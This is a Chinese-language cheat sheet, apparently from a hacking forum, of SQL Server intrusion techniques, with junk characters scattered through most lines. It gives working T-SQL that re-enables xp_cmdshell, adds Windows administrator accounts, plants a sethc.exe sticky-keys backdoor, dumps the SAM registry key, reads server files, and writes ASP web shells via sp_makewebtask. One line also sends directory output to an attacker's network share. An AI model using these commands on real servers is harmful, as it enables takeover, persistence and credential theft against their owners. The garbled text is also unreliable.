1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
5 u$ t* R" \' S恢复方法:查询分离器连接后,
8 E8 J1 n' |3 S. K# Y! M0 d1 x* `3 ]第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int " ~* O9 e5 l& u2 J) j# E+ [1 @/ ]
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
6 V! o5 A9 D" I& p3 Z然后按F5键命令执行完毕7 `7 C7 V' C8 E* A! g
; p. p: W2 l1 z' P. ?/ l2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)8 ~) u' `% _* ?
恢复方法:查询分离器连接后," y2 X# l* R. Z! i3 U( z
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"9 K. U* B7 g2 l7 r, H
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'+ F' W! u! C; o
然后按F5键命令执行完毕
5 W4 [8 ~7 Q& o2 f
7 R/ g8 z$ g7 n' k( J D3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
$ v. o8 e* @7 g3 A8 x9 j& I恢复方法:查询分离器连接后,
7 K8 J* P6 X& \* q$ C1 q% N% x1 M第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
# U4 e9 h! r4 |# [ W3 P+ e第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' , `. ], t6 ]% [1 t# d8 v% ~5 L0 ]* X
然后按F5键命令执行完毕
/ [3 D3 Y4 b/ K: o. j, j8 ~" S1 Z& d1 G& h7 k
4 终极方法.: ~# o- d$ ?1 w3 u: Y
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: k2 P! Q# _ Z; M5 |' ^
查询分离器连接后,
$ i2 {$ Y' y. f4 z4 b- a7 }2000servser系统:
6 G+ x1 A+ T5 ^# u# R8 T$ X1 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'( b x8 V% c2 p% g3 C o* g
8 ^* |/ N" k8 s1 }! U3 a4 rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'9 i2 m# }4 s0 k! C" ^4 A; I. a
0 a' v- F4 F% m+ Cxp或2003server系统:
' O* P3 W1 t+ {4 F) B4 H9 Y: _3 s7 \4 Z3 S- E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'3 a+ j2 z# T) \! w& {( M
+ J. g# b+ c, S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
2 @& C2 a5 G* a6 j% d+ ?+ E* }# B
- E7 J: Y7 I% _" C( C R5 l" i4 F3 U0 i' K' B1 Y7 a
五个SHIFT0 d0 q6 ~; H$ F
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
, \: t9 W7 i5 z% j- c5 q5 n I! r: a) u% F
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
. ~1 k: Y0 k6 V3 {5 E+ c! m1 q
" {, ~; v0 b4 Qxp_cmdshell执行命令另一种方法0 k6 \5 ]. t `4 ^! Z6 J" k
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 4 b3 _+ i( D. n6 V9 E. g
1 x0 z: p3 \5 }# v, x \0 X
判断存储扩展是否存在
. j0 _- @! K. TSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'5 b( D8 l5 k! @
返回结果为1就OK
6 W8 K9 N3 [% L- u
" u! \, b% \/ h" R
- B! i3 g1 ]& c; I4 m. h上传xplog70.dll恢复xp_cmdshell语句:
6 b* C( P& h3 I$ \! g& qsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'6 A3 F' h$ N- C! w
' [" l, Y& i1 f- ?否则上传xplog7.0.dll
2 i* S7 G4 b# a K }' p0 {Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
) r& G. \2 ~6 o# t) W+ ^, ? m) |. l1 u' L/ N& ]! l7 s- P
2 o$ B! U2 \3 b# A
0 k* {: a3 e; R8 ^# X首先开启沙盘模式:. a. z" M7 c1 J+ A8 z0 o; q- o
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( t3 A3 f/ K/ t, R3 O; }' f+ L9 s7 _( X+ M9 f% w/ y8 X2 b9 y! {
然后利用jet.oledb执行系统命令
$ [/ Q2 N# P u: c+ {* Zselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')0 T* `' X* L- j" n6 s
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了/ e8 f/ M5 ?2 q# M- N3 A( X- e
- U& Y" f% I5 O& `% A* L
1 B0 r1 F9 s- b9 w$ f. R" X
" _5 H6 p0 b. U! G0 A恢复过程sp_addextendedproc 如下: $ O6 l @' K3 { Y: L; p* J
create procedure sp_addextendedproc --- 1996/08/30 20:13
# Q2 e( A; ~$ l! V+ Q. M@functname nvarchar(517),/* (owner.)name of function to call */ ; D# p. m4 n" `6 Y' A$ c
@dllname varchar(255)/* name of DLL containing function */
+ f" R" E1 m/ ]; _) x/ eas * s# c+ {- ^4 d5 ?
set implicit_transactions off + b6 |) {2 s8 X2 k
if @@trancount > 0
: @/ o1 W+ F5 F9 }8 |; l) _! Qbegin 5 c7 o9 D; m3 Q4 Q# w. E7 q p
raiserror(15002,-1,-1,'sp_addextendedproc') 8 Z9 S% T4 P3 o
return (1) $ B! O& y4 |6 @
end
; F. e8 s6 l6 F4 O# Ndbcc addextendedproc( @functname, @dllname) : y/ p5 q& l2 r3 ]
return (0) -- sp_addextendedproc $ _; m2 ~9 w- Z3 C( {
GO 2 Z7 ?3 S) b; }- t
5 w/ ?' C" |( @5 G/ A" s
& m- E* A$ S9 `) j# u. B+ ^0 @2 U7 Z; f
2 O3 d( {0 U. \( d9 _, ]" _
导出管理员密码文件. K* y$ | K5 m
sa默认可以读sam键.应该。
# X" `( W* ?9 E. @( zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg' c+ S. [/ k- n/ e
net user administrator test
7 B' B8 g5 z! f) E$ `用administrator登陆.
. h/ [, N! n7 ~用完机器后
& A- X7 q8 r; ?' h! Zreg import c:\test.reg
* n* `5 u. w8 z3 t根本不用克隆.% T8 y. t$ g) B
找到对应的sid. ! z! B: ~- X, g k% e: G- {
' v$ N3 w0 d5 N- l. E0 [) ^/ h( \) q8 `
' @5 s# W& Z) v4 t恢复所有存储过程3 @: f6 F! b2 a8 O; V) B2 M: m
use master % @& g( v) D3 b# O: l3 [5 f
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' * S3 ~/ i) R" h
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' p5 f6 a% q3 Y" k* h" q
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' ' @+ S) f. A l. c; G+ N
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
8 e: i, a$ h1 a& ^4 M9 L2 Dexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' + P5 \$ V9 d9 L W7 t. L' N
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
; {* b& y7 Z5 o* M3 ?exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
' f; |8 h! H U! ?exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 0 G9 _; e. A! x
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 3 K5 B* O9 I9 `8 u$ v6 `
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
2 L5 L8 c L/ f7 n' r8 X& `% a4 Gexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
) h: ]/ s7 }& ~( f5 G |exec sp_addextendedproc sp_OAStop,'odsole70.dll'
% Z) f' G" F" j' U$ d9 mexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
" Q( g5 v0 g8 R! S/ g) Q" ?" ]exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
, J4 }" t9 q2 n2 s& A% Lexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
* \! W) I& \3 {- _5 A; k u# d1 s- xexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 3 w; w# m: l' ~" R/ j4 I& X# A
exec sp_addextendedproc xp_regread,'xpstar.dll'
{8 M5 E$ V. w3 ]+ q. pexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 7 e ^: q7 y9 f# X
exec sp_addextendedproc xp_regwrite,'xpstar.dll' - }* ]1 B# g% l8 R
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
2 O0 q+ y- I; A7 n- p) i' U6 x
- U( N" p7 t1 m5 j( w; G0 |* k3 X
3 W W+ ^3 H: @建立读文件的存储过程' _3 _8 S5 g3 O. F+ s3 d/ }! g$ D
Create proc sp_readTextFile @filename sysname, f( Y3 G# D7 b
as
O' H$ H6 J( [4 J/ u; F1 D8 ~) G0 _+ } N7 z" R
begin
0 m8 x' p4 m: _: O1 M set nocount on
# M. W8 \, @& _/ n7 p$ Q5 X Create table #tempfile (line varchar(8000))
- Y6 D0 X. C: D% ]/ } exec ('bulk insert #tempfile from "' + @filename + '"')
# O0 x- {: I* A select * from #tempfile6 O3 L3 \; A% J0 |
drop table #tempfile8 S& F8 t0 ?& j4 L" p
End0 ~1 U8 j# ]/ H: O9 @
2 H- Y/ G5 E* h& J; Aexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件; Z& z+ R( w, [8 n9 s
查看登录用户
5 _! M) o) G' R4 ASelect * from sysxlogins
3 u! h% S5 j" H `/ p2 a$ A
0 X B1 P% p9 S C# f把文件内容读取到表中9 n, L5 K6 P# Q" G% c3 p
BULK INSERT tmp from "c:\test.txt"
& H6 i2 g% h; U6 \2 K& }9 P7 O# f! jdElete from 表名 清理表里的内容* ?8 e& @; H8 a/ x# N
create table b_test(fn nvarchar(4000));建一个表,字段为fn
j0 A8 V/ ?4 P9 W- @4 S+ V9 f7 y
& E! v( {2 G% S7 J4 l1 C7 o6 R' m4 Y8 ^1 q
加sa用户
2 r6 _# h5 m/ S! j g' M- Lexec master.dbo.sp_addlogin user,pass;* u) t d0 \" b5 Z) y0 V
exec master.dbo.sp_addsrvrolemember user,sysadmin
p' a4 y8 Z( ? m% o2 ?
* ^; f. b) L* }; s$ D; t; X- p+ q! J2 r2 ^6 l2 B0 c8 k5 F# ]( o
+ ?4 Z7 P* K' E. m8 k1 m% Q7 m
读文件代码
1 m/ g5 l' m9 \5 r5 x4 y: |) {/ ^4 Xdeclare @o int, @f int, @t int, @ret int3 D$ M0 s' p2 `5 i6 e* o# |
declare @line varchar(8000)
G- l ~7 V5 s' d, p( _1 ]exec sp_oacreate 'scripting.filesystemobject', @o out9 ^1 ]+ }/ I+ _: b2 t
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 14 F9 P9 A$ }$ V% `6 Z% n, K
exec @ret = sp_oamethod @f, 'readline', @line out
9 r+ Y% T9 i" M% S2 Gwhile( @ret = 0 )+ ]! ?% U8 p" G8 K" R# Y: e& l
begin; i7 n6 S; V8 N1 r
print @line# v$ x1 ]1 F- x2 S, B5 z
exec @ret = sp_oamethod @f, 'readline', @line out3 M8 ]6 j) C7 I( y
end
( b$ H4 Q- ]# H5 h
2 V2 U+ E$ V) {5 O$ B' s; l
4 ]4 s$ c; g4 V6 Y写文件代码:3 I( f* ?1 J+ [/ M0 Z) N
declare @o int, @f int, @t int, @ret int
/ c) O# @" P# Q: ]( v2 @6 Lexec sp_oacreate 'scripting.filesystemobject', @o out
5 ~4 e9 C @ R+ `exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 14 l3 B" i1 }6 i `# j7 e
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》7 v) D: D* Z' r j4 A( N
7 `. t3 H! ^3 ^6 f" v! O; G0 Z9 t2 Q$ \: F& H% h Q4 v
添加lake2 shell
c/ K1 h. S' H4 @% Q* G2 lsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'6 v) K" @6 V D
sp_dropextendedproc xp_lake20 J3 d9 y- W0 z, O0 T
EXEC xp_lake2 'net user'
5 g$ [' E1 a$ I3 I' A
; b3 f% ~) p5 U; W" f2 J- h3 t: Y+ q- G- _) q: @8 o7 q1 R
得到硬盘文件信息
/ ]8 C% P" S/ x4 q/ D--参数说明:目录名,目录深度,是否显示文件 - C( f1 W8 w; q3 g2 z
execute master..xp_dirtree 'c:'
4 a& Y5 Q5 r9 |, y5 texecute master..xp_dirtree 'c:',1
/ w" V6 g: X! `; V N: H: texecute master..xp_dirtree 'c:',1,1 1 j5 F& m& t, U# ]2 c: `0 }- g
- l6 ?6 D3 I. F: O6 c/ U( U* `9 e: M' ?
读serv-u配置信息
% M" W' N9 {) I, h. o; Iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
" ~- y2 f. o% d: ^5 ?9 e# j) kexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
! W. V% i- G: ]1 t( \$ Z" U
# ^1 K5 U& e: I; }通过xp_regwrite写SHIFT后门! ^; X8 R7 T" u1 f( N6 q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
( ^% f2 J- i: L" N
# F3 p5 x% l$ X. s6 F
! A6 p- `* |6 A1 B, |4 m- E6 ]# M" F# s0 d4 m# K8 t
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
- n2 w3 I; f# x! |exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了$ ?& f: i" k6 ]3 `0 c
* i K/ h6 L3 H% h/ u8 u8 GEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ Y, R+ ?# I& R
2 j) R# h9 v* J& l1 I
: p. O' M6 G. Z* M: ~4 r4 K, u
p0 t- B9 L. G; Z
sql server 2005下开启xp_cmdshell的办法7 b3 w, j8 B' [ H. Z
7 {9 i! r" p l; VEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
+ L; W! i6 a- K. D8 ~" O
8 T& B! b& u6 M2 ?0 f& g% i YSQL2005开启'OPENROWSET'支持的方法:
+ f2 }4 Z0 m3 Y* u# i
8 X, }6 \- K% G2 V* Wexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;$ y4 v: j# ?( p
$ p, j6 ]1 ]* `" Y+ D( ~: _! Q" N
SQL2005开启'sp_oacreate'支持的方法:$ y2 i$ R7 j u
& n- C% P Q' ~) f; T
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
' D) h7 [. G) E4 k y5 f
7 T: h0 v5 c; x6 v1 \2 K) A( C9 [% M1 q- ~
1 {: [/ }. \0 ?, L) l( w! V
3 T7 ?, B, L* ]7 x) [! V3 \1 }/ I
2 |# g8 I% M8 e; s" i- O7 ]
8 f6 R1 f' v0 Q. l0 U
3 G5 K, L; ~4 J! z" s1 b& `1 y0 J- k4 p* v7 }. ]+ u" _
f9 N1 n8 }2 v" F+ f- o' x5 [7 e' Y9 m+ a5 w( r$ x1 `+ U
: _/ ~: v: B4 }& c' _9 h. i; I6 f$ J# c
: v/ G5 L# A2 Y( k P4 {5 x) G, r. G4 l2 g; P
+ J2 K+ M* y& V: r2 B6 G4 m7 j
0 B1 m, b7 H' R1 m) i l
; Q% J& U4 z: [6 u
: [3 E: r: \! Z
, j }! `( X3 _
`5 ^. v2 q; H% m+ T. @9 N
+ _" X) f) P6 V# @1 N& V8 h
0 {3 v$ ]2 G8 Z
' p$ Q' j1 c# n/ e8 A
/ ], V. P) b$ B# u
% b& C; [2 u* j. ]" Q! _8 C- s" Z以下方面不知道能不能成功暂且留下研究哈:* h8 [" q" N$ E Z0 \' t8 q2 s- }
4)
, Y/ z0 @# k- o: U9 N& @/ n$ X U2 `use msdb; --这儿不要是master哟5 s( N# b- }2 u5 }# l; t7 F+ I
exec sp_add_job @job_name= czy82 ;
, D1 P9 ~: w% ]3 \exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;5 G* U, {% q$ b! t9 s5 b$ q6 |
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
[- V4 P _' gexec sp_start_job @job_name= czy82 ;
! @! F6 e: U, k+ ]% f9 f2 {3 B2 A4 a% d! b: ?0 t; S3 z8 e
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以: n* |0 O) ~8 s. |
执行tsql语句了.0 N% [8 W+ A% H3 K# D; W
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名6 M; C6 ?. N3 e
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
* l) @( x8 y' `; W; T, w, ~7 onet start SQLSERVERAGENT( D3 y/ b5 k# p
6 d6 i$ [) y9 V; S `% P$ n/ v& z1 h
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
# R N1 x3 l; _1 LUSE msdb; o/ j. l7 I0 ^( l
EXEC sp_add_job @job_name = GetSystemOnSQL ,
( O9 j. x1 r9 O; r ^9 `0 E@enabled = 1,
# h, _! i3 [, A5 l@description = This will give a low privileged user access to, x& u9 S2 F5 s# X" Q+ f! I$ z
xp_cmdshell ,
# f% O/ v5 N! M7 R& x8 Y, Y@delete_level = 1
' S7 H! F- {8 S( @' nEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
* q/ U! B: _2 q0 j6 D3 I2 Z@step_name = Exec my sql ,* Z6 }; v5 y% s p& _/ Z0 w, }
@subsystem = TSQL ,
U* u; F& h# V4 \@command = exec master..xp_execresultset N select exec
- p: V$ z0 Q9 J0 U' A1 ?6 P% [master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
2 }: M/ q' C* xEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,' y8 c- _9 w) ]* @
@server_name = 你的SQL的服务器名 G9 G$ x$ j3 j' o
EXEC sp_start_job @job_name = GetSystemOnSQL
; s i9 {) }3 ~. F' T+ _) l- T' U" }6 _) e7 w
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以$ O Z% {; K1 {
才让我们可以以public执行xp_cmdshell
" { N& D) X: V/ I# ?5 [
6 O! J# S; J" |6 J' b( i5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)( k+ @1 j% a6 |( L+ p* L9 L: ^
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
3 |% S1 U0 s6 F- O. j1 S
/ g' Q1 t2 |! q5 f6 b( V0 t& W* W0 xUSE msdb
+ p: J' d0 T! j" WEXEC sp_add_job @job_name = ArbitraryFilecreate ,
1 P# W* R3 ~# S. v6 y# F! g@enabled = 1,
2 K* t$ z* x4 d4 Z5 M/ \& x' n+ j@description = This will create a file called c:\sqlafc123.txt ,
9 a+ d/ c2 P4 I@delete_level = 1
; e, }) J K. e/ W" u7 \5 j: }EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
# |1 M6 v% A7 k; e9 \% n@step_name = SQLAFC ,
, ~. k2 A! [1 B- i@subsystem = TSQL ,/ D8 h Z: K4 Z' d( a5 w
@command = select hello, this file was created by the SQL Agent. ,
- I' }, y3 W* Q' E@output_file_name = c:\sqlafc123.txt
4 }' z! i7 i; O# v' UEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,9 H3 S- W) j- B# ~; w
@server_name = SERVER_NAME 5 n* k$ s! U1 C" v/ E" O7 v! N
EXEC sp_start_job @job_name = ArbitraryFilecreate
. @7 n7 a( q- x" |: y9 l, |6 b
% o2 A- Y8 F; ?3 m- k; f5 H如果subsystem选的是:tsql,在生成的文件的头部有如下内容
+ w; L+ L1 s, J
9 d8 m- h. h* E' }( i??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
$ ~% l: d9 A4 d* _1 Q) |( p# R8 }* t. Q----------------------------------------------
) n* Q9 \; d; [& L# Q" phello, this file was created by the SQL Agent.6 R, |% G9 f2 U' P
$ [5 C) S" G) L" [2 l(1 ?????)
3 p* e, `3 a/ L% j: z( ~' J# t$ s, n
o- b0 [, w( U& W: D; @所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员: y7 I9 Q# O1 J7 \* ]; ~
命令的vbs文件到启动目录!
3 ?: u( k* G, j9 A( {8 Q7 Z4 \& C3 a, r& }& T
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)- ?0 g+ F' R' v3 z9 @
关于sp_MScopyscriptfile 看下面的例子
" H" C8 f6 C7 H; I) Kdeclare @command varchar(100) 8 x, Q& v) k! f) i% }( D
declare @scripfile varchar(200)
4 I- w. d0 O2 O4 t, S# jset concat_null_yields_null off 8 P& m) e0 Y8 P" R+ p [; o6 }
select @command= dir c:\ > "\\attackerip\share\dir.txt" 3 o/ u& W) S2 _0 ?
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
5 o' _ E+ ^& N" Gexec sp_MScopyscriptfile @scripfile ,
& W: H. A3 u( U) y
: L* p- q! H8 |9 ^8 Q! | _7 w: v这两个东东都还在测试试哟 b7 R+ s H& [
让MSSQL的public用户得到一个本机的web shell
0 _ l2 `/ K( U' o5 k/ @8 M# \4 T9 t' w9 y) n
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,. v/ n" z$ K" P4 ~, u0 e! a
--@query= select <img src=vbscript:msgbox(now())>
$ ?8 V5 _8 r+ q# K--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
d" r$ R: N' R. P! q6 z; ]@query= select
3 l) ~3 t3 k9 m9 ^: H I! e<%On Error Resume Next 4 `0 F' E9 p9 p+ ~3 g+ t* ^$ r
Set oscript = Server.createObject("wscript.SHELL")
. p# n4 `" U, U0 U$ RSet oscriptNet = Server.createObject("wscript.NETWORK")
% y" @; x" }0 \& C$ t. hSet oFileSys = Server.createObject("scripting.FileSystemObject")
# ?. c8 z! j% j5 {3 Z; u0 RszCMD = Request.Form(".CMD") & c, a( h# P9 e, n* I9 O
If (szCMD <>"")Then
5 o: v$ s; S7 w* b, k7 p, j8 LszTempFile = "C:\" & oFileSys.GetTempName()
& [" S, M0 W9 n2 g) g- q0 R1 D( m: ACall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) : J9 y/ \1 k. Z1 Z6 E
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
t, c. u2 F. ?End If %> ' N2 q! | l8 ^- Q$ y7 |" x
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> & G5 @2 X; d* `. \ A: c! Q4 [5 H
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
9 E2 Z' [; m9 G0 k( a+ }</FORM>< RE>
$ |, y [ T1 m% J3 B1 \<% If (IsObject(oFile))Then 2 p, S3 {1 @! ^3 f: `* t6 L9 @, S" M
On Error Resume Next
, s+ b4 i: N1 ~# X. yResponse.Write Server.HTMLEncode(oFile.ReadAll)
5 B1 l; c' W& Y; x' _4 \! t5 O+ JoFile.Close
3 S" b/ [5 b: r1 FCall oFileSys.deleteFile(szTempFile, True)
: ^% v# x) H/ C- E) F m! OEnd If%>
2 ]/ Z" n, F" k</BODY></HTML> * Z% y0 ?! I; t8 ~% ~. ~
|